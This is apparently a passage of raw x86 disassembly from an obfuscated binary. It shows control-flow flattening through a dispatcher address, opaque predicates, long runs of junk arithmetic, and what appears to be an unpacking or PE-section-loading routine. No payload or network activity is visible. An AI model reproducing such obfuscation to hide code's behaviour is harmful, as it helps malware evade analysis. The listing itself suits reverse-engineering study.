and esi, 0x42b68711
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x7b1ed3de
and ecx, 0x84e12c21
or eax, ecx
mov ecx, eax
mov esi, eax
xor esi, 0xdc6327
xor eax, 0x7266b3db
xor ecx, 0xff239cd8
and eax, esi
or esi, 0x8d452f03
mov ebx, ecx
and ebx, 0x3a000c
and ecx, 0xfffffffe
mov edx, eax
not edx
and eax, 0x7b040f
mov edi, edx
or edx, esi
and edi, 0xff84fbf0
and esi, 0xff84fbf0
or ebx, esi
or eax, edi
not edx
mov esi, 0xa3ab2028
xor ebx, eax
or edx, ebx
mov eax, edx
not eax
and edx, 0x8d452f02
and eax, 0x72bad0fd
or edx, eax
or ecx, edx
cmp ecx, 0xffffffff
sete dl
cmp dword [0x504180], 0xa
setl al
setge cl
mov ah, al
or al, dl
xor cl, dl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
not dl
mov ah, al
and dl, al
or al, cl
not ah
and ah, cl
mov ecx, eax
or dl, ah
xor cl, dl
test al, al
mov eax, 0xd44792b5
cmovne eax, esi
test dl, dl
mov edx, 0xd44792b5
cmove eax, esi
test cl, cl
cmove eax, edx
jmp 0x401ef0
mov eax, dword [0x504184]
mov esi, 0xe76f39be
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xf411d7b0
mov edx, eax
and edx, 0xbee284e
or ecx, edx
mov edx, ecx
xor edx, 0xc41041b0
xor ecx, 0x680007
and ecx, 0x30699607
and edx, 0xcf9669f8
or edx, ecx
mov ecx, eax
or ecx, 0x30699606
and ecx, 0x30699607
xor ecx, edx
mov edx, ecx
not edx
and ecx, 0xd590a5f9
and edx, 0x2a6f5a06
or ecx, edx
xor ecx, 0xd590a5f9
or ecx, eax
cmp ecx, 0xffffffff
sete dl
cmp dword [0x504180], 0xa
setl al
mov ah, al
xor al, dl
or ah, dl
mov cl, ah
xor cl, 1
or cl, al
and al, ah
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ch, cl
xor ch, dl
and dl, cl
and ch, cl
or dl, al
mov eax, 0x3608d83c
mov cl, ch
xor cl, dl
test dl, dl
mov edx, 0x3608d83c
jmp 0x40d6bc
mov eax, 0xc2c16323
jmp 0x401ef0
mov eax, 0x118bcb67
jmp 0x401ef0
ror esi, 0x98
sub ebx, 0x25
sbb edx, 0xd7
ror edx, 0x10
rol ebx, 0xe3
not ebx
inc eax
rcr esi, 0xed
rol ebx, 0xf0
not edx
sbb edi, 0xd1
neg edi
neg esi
or esi, 0x7c
dec ebx
bswap edx
sbb edi, 0xf2
rol edi, 0x74
rcl ebx, 0x6b
rcr edi, 0xe3
rcl ebx, 0x9a
and edi, 6
or edx, 0x95
rol ebx, 0xc9
and eax, 0xb8
or edi, 0x3f
dec ebx
or edx, 0x87
inc edi
neg ebx
add esi, 0x9a
dec eax
rcl esi, 0xe
sbb edi, 0x73
not ebx
dec edi
neg edi
not esi
mov eax, 0x3d
ror edx, 0x76
sbb edx, 9
neg esi
rcl esi, 0x68
inc esi
ror ebx, 0xcc
mov edx, 0xbc
not edx
or eax, 0xa4
sbb eax, 0x85
rcr edx, 0x26
sbb eax, 0x36
dec edi
dec edx
imul edi
bswap edx
add edx, 4
sbb ebx, 0xa2
rcr esi, 0x3e
rcl ebx, 0xce
or eax, 0x4c
inc edi
imul edx
rol edx, 0x63
mov eax, 0xcb
rol ebx, 0x12
and esi, 0x1c
or eax, 0x4d
dec ebx
mov edi, 0xf7
not esi
mov eax, 0xf6
imul edx
not esi
not edi
dec esi
dec edx
bswap edi
add eax, 0x58
sbb eax, 0x23
rol edx, 0xf8
inc edi
inc ebx
add esi, 0x4e
bswap eax
ror ebx, 0xc8
rcl eax, 0xd6
rcl edx, 0xb2
not edx
or edi, 0x66
dec esi
add ebx, 0xe8
ror ebx, 0x5e
add edi, 0xdc
mov ebx, 0x55
neg esi
dec edi
neg eax
inc edx
ror ebx, 0x72
rol edx, 0x19
rcl ebx, 0x41
dec esi
not esi
rcr esi, 0x43
sub ebx, 0xd9
inc esi
ror edx, 0xca
and edi, 0x69
or edi, 0xa5
ror edx, 0xd1
not eax
or edi, 0xe6
ror edx, 0x8f
sub esi, 0xcc
inc edx
sub ebx, 0xa
rcl ebx, 0xe7
bswap eax
mov eax, 0xa9
sbb eax, 0xf
and edi, 0x2e
imul edx
sbb edi, 0xea
bswap edi
inc edx
bswap esi
dec ebx
sub edi, 0x22
bswap edx
inc esi
rcr eax, 0x6f
imul ebx
rol ebx, 0xc
bswap edx
not ebx
rol eax, 0x35
neg edi
ror edi, 0xdc
sub esi, 0x71
bswap ebx
add edi, 0x4c
dec esi
sbb edx, 0xf4
imul edx
bswap esi
sub edi, 8
bswap eax
sbb edx, 0x24
bswap edx
imul edi
mov ecx, dword [0x504184]
mov dword [ebp - 0x9c], eax
mov edi, dword [ebp - 0xa0]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0x4c8853db
mov edx, eax
not edx
and ecx, eax
or eax, 0xb377ac24
and edx, 0x405a
mov esi, eax
and esi, 0xeeb81785
or edx, esi
mov esi, ecx
not esi
and ecx, 0x1147e87a
or eax, esi
and esi, 0xeeb81785
or ecx, esi
not eax
mov esi, 0x3b230833
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x9db006bf
and ecx, 0x624ff940
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0x2ec7aa9a
xor ecx, 0xd1385564
xor edx, 0xd1385565
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
or ecx, edx
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xcd113ccd
and eax, 0x32eec332
or eax, edx
xor eax, 0xcd113ccd
xor ecx, eax
test ecx, eax
setne al
cmp dword [0x504180], 0xa
mov ecx, eax
setge ah
xor cl, ah
or al, ah
mov ch, cl
xor ch, 1
mov dl, ch
and dl, ah
not dl
or dl, ch
not dl
or dl, al
mov eax, 0x96606a3b
xor dl, cl
and dl, 1
cmovne esi, eax
test dl, cl
mov eax, 0x3b230833
cmovne esi, eax
test dl, dl
cmovne eax, esi
test dl, cl
movzx ecx, word [edi + 0x14]
cmove eax, esi
lea ecx, [edi + ecx + 0x18]
mov dword [ebp - 0x1ac], ecx
jmp 0x401ef0
mov eax, dword [ebp - 0x14c]
mov ecx, dword [0x504184]
mov eax, dword [eax]
mov dword [ebp - 0x1cc], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x1af43506
mov esi, edx
and esi, 0xe50bcaf9
and edx, 0xb1e7e90
or ecx, esi
mov esi, ecx
xor ecx, 0xa1094ad0
xor esi, 0x10042500
or ecx, 0x4e92802b
and esi, 0x31056580
mov edi, ecx
and edi, 0x84f89a77
or esi, edi
mov edi, eax
xor edi, 0xb16d7fd4
and edi, eax
and eax, 0xf4e1816f
mov ebx, edi
not ebx
and edi, 0x7b076588
or eax, edx
or ecx, ebx
and ebx, 0x84f89a77
xor eax, 0xf4e1816f
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
not edi
and edi, 0x4e92802a
and ecx, 0xb16d7fd5
or ecx, edi
mov esi, ecx
not esi
and ecx, 0x25fb8542
and esi, 0xda047abd
or ecx, esi
mov esi, 0x7bedac6
xor ecx, 0x25fb8542
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xf10c35b5
and ecx, 0xef3ca4a
or eax, ecx
xor eax, 0xf10c35b5
sete al
setne cl
cmp dword [0x504180], 0xa
setl dl
setge ah
and dl, cl
and al, ah
or cl, ah
or al, dl
mov ah, cl
mov edx, eax
not ah
and al, cl
xor dl, 1
or cl, dl
and dl, ah
or dl, al
mov ch, cl
mov eax, 0x9535debb
xor ch, dl
test dl, dl
mov edx, 0x9535debb
cmovne eax, esi
test cl, cl
cmovne eax, edx
test ch, ch
cmove eax, esi
jmp 0x401ef0
mov eax, dword [0x504184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x7b461369
and ecx, 0x9d0968ec
mov esi, eax
and esi, 0x84b9ec96
and eax, 0x62f69713
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0xec5cf852
and esi, 0x13a307ad
or edx, esi
mov esi, edx
xor esi, 0x60e41401
xor edx, 0x971aeb3a
mov edi, edx
and edi, 0x9d0968ec
and esi, 0x62f69713
or esi, edi
xor eax, esi
mov esi, 0xc82f33da
xor edx, eax
test edx, eax
sete cl
setne dl
cmp dword [0x504180], 0xa
setge ch
setl ah
mov al, ch
and cl, ch
xor ch, dl
and ah, dl
or al, dl
mov dl, ch
or cl, ah
and dl, al
xor al, 1
or al, ch
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov ah, cl
and ah, al
xor ah, 1
or ah, al
xor ah, 1
or ah, cl
or cl, dl
mov ch, ah
xor ah, 1
xor cl, 1
and ah, dl
xor dl, 1
and ch, dl
xor dl, al
or cl, dl
or ah, ch
mov edx, 0x6ec2fcd8
mov al, cl
xor al, ah
test al, 1
cmovne edx, esi
test cl, 1
mov ecx, 0x6ec2fcd8
cmovne ecx, edx
test ah, ah
cmove ecx, edx
mov eax, ecx
jmp 0x401ef0
mov eax, dword [0x504184]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov esi, ecx
and esi, 0x20000091
mov eax, edx
and eax, 0x6887564
and edx, 0x84a65061
or esi, eax
mov eax, ecx
and eax, 0xd9778a0a
and ecx, 0x7b59af9e
xor esi, 0x20000091
or ecx, edx
or eax, esi
mov esi, eax
not esi
and eax, 0x268875f4
and esi, 0xd9778a0b
or eax, esi
mov esi, eax
not esi
and eax, 0x5cbce1ce
and esi, 0xa3431e31
or eax, esi
mov esi, eax
xor esi, 0x4c246106
xor eax, 0xa3431e31
mov edx, eax
and edx, 0x93998ed8
and esi, 0x6c667127
or esi, edx
mov edx, ecx
xor edx, 0x68402106
xor ecx, 0x84a65061
or eax, ecx
and ecx, 0x93998ed8
and edx, 0x6c667127
or edx, ecx
not eax
xor edx, esi
mov esi, 0xa6cf89b
or eax, edx
mov ecx, eax
not ecx
and eax, 0xa91d515e
and ecx, 0x56e2aea1
or eax, ecx
xor eax, 0xa91d515e
sete al
setne cl
cmp dword [0x504180], 0xa
setl dl
setge ah
or dl, cl
or al, ah
or ah, cl
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov cl, ah
xor al, 1
or cl, al
xor al, ah
mov edx, ecx
xor dl, al
test al, 1
mov eax, 0xe195a747
cmovne eax, esi
test cl, 1
mov ecx, 0xe195a747
jmp 0x40b02b
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
bswap edx
rcr eax, 0xa7
bswap esi
ror edi, 0x22
neg esi
inc edx
not edx
rcl eax, 0x6c
add ebx, 0x56
rol edx, 0x62
rcr esi, 0x9d
imul edx
mov ebx, 0xe1
ror eax, 0x5f
rol edi, 0x6c
inc edx
inc edx
ror eax, 0xc2
not edx
neg ebx
bswap esi
add eax, 0x72
imul edi
and edi, 0x8e
bswap edi
rcr edx, 0x4b
not ebx
bswap ebx
not edi
neg ebx
add eax, 0x78
imul ebx
sub eax, 0xd2
dec edi
sbb eax, 0x2b
rcl eax, 0x4e
mov edx, 0x51
imul eax
bswap ebx
not edx
imul esi
rcl esi, 0x8a
dec edx
bswap edx
ror edx, 0x75
or ebx, 0xb4
not ebx
rcl ebx, 0xba
imul edx
imul edi
sbb edx, 0xc1
not edi
not eax
sub eax, 0xb2
bswap eax
rcr edx, 2
and esi, 0xf4
bswap edx
imul ebx
add eax, 0x4d
neg esi
mov eax, 0x75
inc edx
inc ebx
rol esi, 0xef
rol esi, 0xaf
imul edi
or edx, 0x21
bswap esi
bswap edi
mov edx, 0xdc
sbb eax, 0xe
not ebx
imul edi
not ebx
rol eax, 0xa1
imul edi
sub eax, 0x6b
neg esi
mov edx, 0xd0
and edi, 0x52
dec edx
and edi, 0xef
sub edi, 0x89
sub edx, 0xbc
dec edx
sbb eax, 0x91
dec edi
inc eax
dec esi
imul eax
add esi, 0xdc
sub edi, 0x90
neg edx
and edx, 0x2c
mov edi, 0x5f
rcl eax, 0x3c
sub ebx, 0xc6
not edi
and eax, 0xe2
dec eax
inc ebx
imul esi
inc eax
bswap edx
rcr ebx, 0x4e
sub ebx, 0x32
neg ebx
sub edx, 0xae
rol edx, 0x41
rcl eax, 0x49
inc edx
bswap ebx
neg edx
sbb ebx, 0x56
add eax, 0x62
rol esi, 0x6b
neg edi
not edi
rol esi, 0x8b
mov esi, 0x2e
dec ebx
and ebx, 0xd2
imul esi
bswap edi
rol esi, 0xb6
and edi, 0xe5
sub edx, 0xf1
sub eax, 0xa
sub ebx, 0xa2
rol edi, 0x64
dec esi
not eax
mov esi, 0x7f
neg esi
add eax, 0x64
mov edi, 0xf7
sub eax, 0x6e
sub eax, 0xd7
dec edi
neg eax
sbb esi, 0x53
rcl esi, 0xce
not ebx
rcl edi, 0x19
sbb esi, 0x31
sub ebx, 0xb3
or esi, 0x72
imul edx
inc edi
bswap ebx
bswap edx
neg ebx
dec edi
rcr edi, 0xc9
inc edi
rcr edi, 0x3e
sub esi, 0xe1
not ebx
rcl edx, 0xed
dec edx
rcl edi, 0x2b
add edi, 0x81
rcr eax, 0xfe
sub ebx, 0x83
bswap ebx
inc esi
not edi
and ebx, 0xc4
sub ebx, 0x37
imul edx
bswap eax
inc edi
not edx
inc edi
sub ebx, 0xb9
or ebx, 0x13
neg edx
sbb edi, 0x2f
neg eax
bswap esi
neg edi
not edx
ror edi, 0x5e
rcr edx, 0xd8
rcr edx, 0x78
rcr eax, 0xa1
sub eax, 0xf3
rcr edx, 0xb5
mov ebx, 0x98
imul edi
rcl eax, 0x8c
or esi, 0x38
dec eax
mov edi, 0x4d
rcr ebx, 0x25
inc edi
bswap ebx
inc esi
or ebx, 0x1d
mov edx, 0xa8
imul eax
dec edi
bswap esi
and eax, 0x4c
rcl edx, 0x62
mov edi, 0x70
imul edi
inc esi
rcl edi, 0xf6
dec esi
not ebx
imul edi
sbb ebx, 0x93
rcr eax, 0xf1
not esi
bswap edi
sbb edi, 0xa8
and edx, 0x78
ror eax, 0x9d
ror esi, 0xe4
rol edx, 0x28
neg ebx
sub edx, 0x61
and eax, 0xc3
rcr esi, 0x6b
or ebx, 0xff
rcr esi, 0x23
imul edx
or edi, 0xd5
mov eax, 0xa9
and edx, 0x6b
imul ebx
imul esi
not edi
and edi, 0x59
rcr edx, 0x81
rcl edi, 0xa3
inc esi
imul esi
not edi
bswap edx
imul eax
sub esi, 0xba
inc edx
ror eax, 0x6d
rol edi, 0x4b
neg edx
sub edx, 0xda
bswap ebx
sbb eax, 0x8e
neg ebx
imul eax
sub esi, 0xa5
ror edx, 0x7e
dec edi
imul edx
rol edi, 0xdc
sbb edx, 0x1a
dec edx
imul eax
or eax, 4
imul esi
not edi
or esi, 0x71
dec edx
mov ebx, 0xfe
rcr ebx, 0xe3
sbb edi, 0x61
ror edi, 0x7d
bswap edx
add edx, 0x45
sbb edi, 0x49
dec edi
rcl edi, 0x38
dec edi
or eax, 0xf0
rcl eax, 0x3d
bswap edi
bswap ebx
rcr eax, 0x95
not ebx
and edi, 0xba
and esi, 8
dec edx
mov edx, 0xd7
imul eax
not edx
inc edi
sub edx, 0xb3
imul esi
not ebx
imul edx
bswap edx
neg ebx
imul ebx
rcl ebx, 0x73
rcl edx, 0xb3
neg ebx
rcl esi, 0x11
mov ebx, 0x88
imul eax
inc eax
bswap eax
dec edi
mov ebx, 0x97
rcr esi, 3
add edi, 0xd8
not eax
rcl edx, 0x83
or ebx, 0xb3
mov esi, 0x47
inc esi
sbb ebx, 0xe2
sub ebx, 1
not edi
and eax, 0xb7
inc esi
not edx
not esi
dec ebx
inc edi
bswap edi
bswap eax
neg ebx
and edi, 0x6b
add esi, 0x24
and eax, 0xd9
inc edi
rol esi, 0xda
or edi, 0xc1
rol edx, 0xb4
dec ebx
inc edx
sub eax, 0xef
rcl esi, 0x54
rol esi, 0xbc
dec edi
inc edi
dec edi
dec edi
inc edi
rcl eax, 1
rol eax, 0x4e
neg eax
not esi
inc edi
mov esi, 0xc3
bswap edx
imul ebx
rcr ebx, 0x4f
sbb eax, 0x51
dec esi
neg edi
inc edx
bswap edi
sub ebx, 0x48
and edx, 0x9f
dec edx
add esi, 0xa0
bswap edx
not edi
sub eax, 0x28
neg esi
sbb edx, 0x45
or ebx, 0xb0
not eax
not eax
not esi
mov ebx, 0x38
imul edx
dec eax
imul ebx
and edi, 0xb4
and esi, 0x16
dec esi
sbb edi, 0x81
rcl eax, 0xb3
inc ebx
rol esi, 0x77
dec ebx
dec ebx
sub eax, 0xee
dec ebx
and eax, 0xbd
or edx, 0x41
rcr ebx, 0xbb
imul ebx
imul edx
imul edi
neg ebx
neg edi
inc esi
imul edi
or ebx, 0x9f
and ebx, 0xf1
not ebx
sbb edi, 0x68
imul edx
and eax, 0x17
neg edi
imul eax
not edx
rcl esi, 0x79
rol edi, 0x1b
neg edi
sbb edi, 0x45
add eax, 0x26
neg esi
inc edx
add edi, 0x7c
sub esi, 0x63
inc ebx
mov ebx, 0x7f
rol edx, 0xb3
sbb ebx, 0x84
rcl ebx, 0xa9
rcl edi, 0xaa
bswap edi
rcl edx, 0x37
imul esi
not edi
bswap ebx
inc ebx
add ebx, 0x4b
bswap eax
not edi
inc eax
bswap ebx
inc ebx
or edi, 0x87
neg ebx
imul ebx
neg edx
dec eax
rcl eax, 0xec
neg ebx
neg eax
add esi, 0x61
dec edx
rcl edi, 0x66
rol edi, 0x6e
bswap esi
dec edx
imul esi
not ebx
add edx, 0x42
rcr esi, 0x8e
not edx
inc edx
rol edi, 0xbd
inc ebx
mov edi, 0x72
and edx, 0x58
or ebx, 0x4e
neg edi
rcr eax, 0x53
bswap eax
sbb edx, 0xf2
rol esi, 0xf2
mov edx, 0x6a
neg edx
bswap edx
inc esi
and eax, 0xc4
sub ebx, 0xc2
imul edx
bswap eax
neg eax
not edx
neg eax
bswap edx
not esi
dec edx
imul edi
bswap edx
bswap edi
imul esi
bswap ebx
mov eax, 0x32
rcl eax, 0x92
rcl edx, 0xa1
inc edx
inc esi
dec eax
dec esi
bswap edi
inc ebx
dec edx
ror edi, 0x30
imul edi
not eax
rcl ebx, 0xc3
inc ebx
dec esi
and edi, 0x36
bswap edi
sbb ebx, 1
neg esi
sub edx, 0x7e
rol eax, 0x83
sub ebx, 0x46
inc edx
inc eax
or esi, 0xb2
dec esi
neg edi
mov esi, 0x13
inc eax
sub eax, 0xe0
and eax, 0x99
sbb ebx, 0x2a
rol edx, 0xb8
bswap ebx
neg edi
dec edi
neg esi
rcl esi, 0x98
imul edi
imul edx
and edi, 0xf
and eax, 0xf3
inc esi
mov eax, 0x57
dec eax
or eax, 0x2f
not esi
rcr edx, 0xc7
neg ebx
dec ebx
not edx
bswap edx
sub edx, 0xdd
dec edx
or esi, 0x25
ror edx, 0x1d
dec edi
or edx, 0x2a
mov eax, 0x74
add esi, 0x7d
imul esi
sbb esi, 0x69
or edi, 0xe0
or eax, 0x94
and esi, 0x44
inc ebx
inc eax
neg edi
bswap ebx
neg edx
inc edx
ror esi, 0x94
neg eax
not esi
mov esi, 0xa6
sub esi, 0x1d
inc edi
bswap eax
not esi
inc eax
mov eax, 0x1b
imul edx
neg edi
sbb eax, 0x46
bswap ebx
rol ebx, 0xc4
bswap ebx
dec edi
add edx, 0x58
ror eax, 0xf6
bswap edx
or ebx, 0x51
or edi, 0xf5
neg esi
ror ebx, 0xae
bswap edi
add ebx, 0x7c
neg esi
add edx, 0xda
mov esi, 0xc7
add edx, 0x27
neg edx
not edi
rcr ebx, 0xa1
or eax, 0x1e
rol edi, 0
mov eax, 0xa8
rcr edx, 0x17
sub edx, 0x91
sbb eax, 0x9a
rcr edx, 0x6e
rol edi, 0x91
sub ebx, 0x54
dec edi
sub esi, 0x12
and eax, 0x87
imul edi
dec edi
rcl edx, 0x6f
sbb edx, 0x14
push 0xace00
push section..data
vzeroupper
call section..text
add esp, 8
or eax, 0xe2
mov edi, 0xa3
neg esi
dec edx
not edi
imul eax
sbb eax, 0x54
imul eax
rol esi, 0x7e
and eax, 0xe6
inc eax
bswap eax
rcr edi, 0x36
not esi
dec esi
neg eax
sbb edx, 0xa2
neg edi
add esi, 0x30
bswap esi
inc eax
or edi, 0x39
rol esi, 2
ror eax, 9
bswap edi
sub edx, 0xa6
neg ebx
bswap esi
rcr edx, 0xfd
neg edx
mov ebx, 0x4f
rol ebx, 0x6b
not eax
not ebx
bswap edx
inc edi
sub esi, 0xa8
dec esi
rcl edi, 0x5f
add edx, 0x73
bswap edx
mov eax, 0xb4
not ebx
and edi, 0x45
sbb ebx, 0xbd
rol eax, 0x8d
not edx
dec edi
imul edx
sbb esi, 0x83
ror esi, 0x1f
imul edi
or esi, 0x9c
add eax, 0x88
rcl eax, 0x4f
or edi, 0xbc
add edi, 0xd2
dec ebx
ror eax, 0x11
imul edi
rcl edi, 0x5f
dec eax
mov esi, 0x51
add esi, 0x56
rol ebx, 0x94
add ebx, 0xe6
inc edx
neg esi
mov ebx, 0x5f
not edx
sub edx, 0x3f
rcr ebx, 0x49
bswap eax
rcl eax, 0x50
sub edi, 0x8e
inc eax
imul eax
ror edx, 0x83
mov eax, 0x4b
ror edi, 0xdc
inc ebx
and eax, 0xb3
dec esi
rcl esi, 0x47
inc edi
imul ebx
bswap ebx
neg edx
not eax
add esi, 0x41
rol edx, 0xa6
bswap edx
rcr ebx, 0x38
add eax, 0x66
rol edx, 0x35
and esi, 0xcb
add ebx, 0x36
not ebx
neg edi
sub esi, 0x62
imul edi
or edi, 0xb1
sbb ebx, 0x1e
bswap ebx
not edi
sub ebx, 0x10
neg eax
mov esi, 0x4d
add edx, 0x18
not ebx
and edi, 0xe1
or edx, 0xcb
inc esi
add edx, 0x16
sub esi, 0x4e
imul edx
and ebx, 0xe7
bswap esi
not esi
not esi
inc edx
mov edx, 0xc8
sub edi, 9
inc esi
inc ebx
mov ebx, 0xea
rcr edi, 0xa1
rcr edi, 0x51
and esi, 0x7f
imul esi
imul edx
ror eax, 0xc
bswap ebx
neg ebx
rcl edi, 0xd4
ror eax, 0x7a
add edx, 0x1a
ror ebx, 0xd0
neg edi
dec edx
or edx, 0xa1
rol esi, 5
rcl edx, 0xbe
sbb eax, 0xdb
imul edi
sub edi, 0xb3
bswap edi
sbb esi, 0x3e
add ebx, 0xef
neg esi
bswap ebx
dec ebx
ror edi, 0x7b
not esi
or esi, 0x5a
dec edi
rol edx, 0xa6
rol edx, 0xfd
not edx
inc esi
not ebx
imul edi
bswap eax
not edi
not edx
dec eax
or edx, 0x45
add edx, 0x2a
and eax, 0x4c
or edx, 0xe
not edx
imul edi
dec edi
sub edi, 0xea
inc edx
rcl edx, 0x2b
bswap edi
inc eax
rol eax, 0xdc
neg ebx
bswap edi
add ebx, 0xd3
rol edi, 0xc6
neg ebx
sub eax, 0x6d
not eax
imul edi
neg ebx
bswap edi
rcl ebx, 0x88
neg edi
sub ebx, 0x5c
imul edx
bswap esi
and esi, 0xc7
inc edx
ror edx, 0xd1
dec esi
ror eax, 4
sub esi, 0xc5
not ebx
neg ebx
add esi, 0x8d
dec edi
sbb edx, 0x32
not eax
rcr ebx, 0x98
rcr ebx, 0x90
not edi
not eax
not eax
mov edi, 0x4d
add edx, 0xdb
sub ebx, 0xf9
not eax
not edx
add ebx, 0x22
bswap edx
add edi, 0xed
imul ebx
rol edx, 0xee
rol edx, 0x2e
or eax, 0x9c
not eax
mov ebx, 0x98
not edx
dec edx
dec edi
bswap edi
add edi, 0x11
add edx, 0xb0
dec ebx
dec ebx
neg edi
dec esi
imul ebx
bswap esi
neg edi
not eax
neg edx
dec ebx
not eax
bswap ebx
ror esi, 0x14
inc esi
rcr eax, 0x45
dec esi
sub edx, 0x4e
rcr ebx, 0xc8
and eax, 0x27
sbb eax, 0x1c
rcl edi, 0x9e
bswap ebx
bswap ebx
inc ebx
or edi, 0xa8
imul edx
add edx, 0x16
rcl esi, 6
sub ebx, 0xe0
dec edx
sbb ebx, 0x4d
dec esi
rcl edx, 0x4e
dec esi
or edi, 0xd4
imul ebx
not edx
dec edi
or ebx, 0x15
rol esi, 0x71
sbb ebx, 0x3c
rcr esi, 0xc5
sub edi, 0x2c
rcl esi, 0xdc
neg edx
or edi, 5
neg edx
bswap edx
sub edi, 0xb4
dec eax
inc edx
add eax, 0x3d
and edx, 0x9e
sub edx, 0x63
or esi, 0xca
neg esi
rol ebx, 0x89
ror esi, 0x6a
inc edx
ror ebx, 0xa6
and ebx, 0xad
and ebx, 0x4c
imul edi
not edx
inc edi
sbb eax, 0xc8
neg ebx
rol edi, 0x71
inc esi
dec edi
and edx, 0xba
neg edi
bswap edi
dec eax
neg edx
mov edi, 0xe4
dec edi
inc ebx
sub edx, 0x7e
ror ebx, 0x7a
neg edi
sbb edi, 4
neg esi
bswap edi
and edx, 0x41
rcr edx, 0xe9
rcl edi, 0xdb
neg esi
and eax, 0xd3
imul esi
ror esi, 0x5c
rcl esi, 0xf1
imul eax
not esi
bswap ebx
ror edx, 4
imul edx
sbb eax, 0x3a
bswap esi
neg esi
or edi, 0xfa
neg edi
dec esi
rcl ebx, 0x73
rcr eax, 0x10
inc eax
sub eax, 0x39
dec edx
sub ebx, 0xb9
imul ebx
add edi, 0x6a
dec edx
dec ebx
add edx, 0xd5
imul esi
rcr ebx, 0x3d
add edi, 0x53
imul esi
neg edx
add edx, 0xc8
rcr edx, 0x59
imul edi
neg ebx
and eax, 0x85
rcl esi, 0x1d
not edi
ror esi, 0x7e
rcr edi, 0xb3
not edx
rcl edx, 0x86
neg edx
ror edx, 0x5e
dec eax
or edx, 0x3e
sub edx, 0x1d
bswap edx
not edi
rcr esi, 0x28
rcl edi, 0x80
inc eax
inc edi
dec esi
add edi, 0xc0
and ebx, 0x6d
rol edi, 0xd3
dec ebx
neg ebx
bswap esi
imul esi
add eax, 0x9c
or edi, 0x84
sub eax, 0xf2
rol esi, 0x81
rol esi, 0x92
rol esi, 0xa6
neg edx
sbb ebx, 0x10
add ebx, 0x56
dec edx
rcr esi, 0x13
and esi, 0x88
imul edx
not eax
rcl edi, 0x6a
rcr esi, 0x5e
not ebx
or esi, 0x6e
neg edi
inc esi
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x130], 0x456000
mov eax, 0x8ebbc365
jmp 0x401ef0
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0x210], eax
mov eax, 0x2c2a16bd
jmp 0x401ef0
mov eax, dword [ebp - 0x1e8]
add eax, 2
mov dword [ebp - 0xf0], eax
mov eax, 0x5828d92b
jmp 0x401ef0
mov eax, 0x9aad8781
jmp 0x401ef0
mov eax, 0xfd87928b
jmp 0x401ef0
mov eax, 0xdef5b83b
jmp 0x401ef0
mov ecx, dword [0x504184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x28e68500
and eax, 0x93183a9e
and ecx, 0x44014061
or edx, ecx
xor edx, 0x28e68500
or eax, edx
mov ecx, eax
not ecx
and eax, 0xa89f85f3
and ecx, 0x57607a0c
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0x1a07bc4d
xor edx, 0xc4784092
xor eax, 0xf4d754a2
and eax, edx
and ecx, 0x9a27fc5d
and edx, 0x65d803a2
or edx, ecx
mov ecx, edx
mov esi, edx
xor ecx, 0x65d803a2
xor esi, 0xaa88e86d
xor edx, 0x92013045
and esi, ecx
and edx, 0xb20133c7
or eax, esi
mov esi, eax
not esi
and eax, 0x508abfcb
and esi, 0xaf754034
or eax, esi
mov esi, ecx
and esi, 0x4dfecc38
and ecx, 1
or esi, edx
mov edx, eax
xor edx, 0x40040800
xor eax, 0x9fda5405
xor esi, 0xb20133c6
and edx, 0xd04e0c00
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xc7ca4874
and esi, 0x3835b78b
or ecx, esi
mov esi, eax
and esi, 0x2fb1f3ff
or edx, esi
mov esi, ecx
xor esi, 0xc04a0800
xor ecx, 0x3835b78b
or eax, ecx
and ecx, 0x2fb1f3ff
and esi, 0xd04e0c00
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x9a570095
mov ecx, eax
not ecx
and eax, 0xaa160d02
and ecx, 0x55e9f2fd
or eax, ecx
mov ecx, eax
xor ecx, 0xa0160502
xor eax, 0x1c16075
and eax, 0xbc16875
and ecx, 0xf43e978a
or ecx, eax
mov eax, ecx
xor eax, 0x3802871
xor ecx, 0xf43e978a
mov edx, ecx
and edx, 0x384bc386
and eax, 0xc7b43c79
or eax, edx
xor eax, 0xc7b43c79
or eax, ecx
xor eax, 0xffffffff
sete al
setne ch
cmp dword [0x504180], 0xa
setl cl
setge dl
mov ah, cl
or ch, cl
xor ah, al
mov dh, ch
xor al, dl
and cl, ah
and al, dl
xor cl, 1
or al, ah
xor dh, cl
or cl, ch
mov ch, al
xor cl, 1
xor ch, 1
or cl, dh
mov edx, ecx
xor dl, 1
mov ah, dl
and ah, cl
xor ah, 1
or ah, cl
mov cl, al
and cl, ch
xor ah, 1
xor cl, 1
or ah, dl
or dl, al
or cl, ch
xor cl, 1
or cl, al
mov al, dl
xor cl, ah
xor al, cl
test al, 1
mov eax, 0xd3197d1c
cmovne esi, eax
test dl, 1
mov eax, 0x9a570095
cmovne eax, esi
jmp 0x40a408
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x224], eax
mov eax, 0xe4d7df08
